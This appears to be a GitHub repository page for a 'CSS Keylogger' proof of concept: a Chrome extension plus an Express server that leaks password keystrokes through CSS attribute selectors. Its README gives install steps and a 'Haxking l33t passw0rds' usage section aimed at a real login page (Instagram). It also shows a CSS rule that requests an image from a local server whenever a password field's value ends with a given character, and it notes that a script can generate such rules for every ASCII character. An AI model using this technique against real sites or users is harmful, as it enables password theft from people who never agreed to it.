Skip to content

Chrome extension and Express server that exploits keylogging abilities of CSS.

Notifications You must be signed in to change notification settings

toddparker/CSS-Keylogging

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CSS Keylogger

Chrome extension and Express server that exploits keylogging abilities of CSS.

To use

Setup Chrome extension

  1. Download repository git clone https://github.com/maxchehab/CSS-Keylogging
  2. Visit chrome://extensions in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).
  3. Ensure that the Developer mode checkbox in the top right-hand corner is checked.
  4. Click Load unpacked extension… to pop up a file-selection dialog.
  5. Select the css-keylogger-extension in the directory which you downloaded this repository.

Setup Express server

  1. yarn
  2. yarn start

Haxking l33t passw0rds

  1. Open any website login page. https://instagram.com.
  2. Press the extension C on the top right of any webpage.
  3. Type your password.
  4. Your password should be captured by the express server.

How it works

This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image.

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Using a simple script one can create a css file that will send a custom request for every ASCII character.

About

Chrome extension and Express server that exploits keylogging abilities of CSS.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • CSS 89.1%
  • Go 7.1%
  • JavaScript 3.8%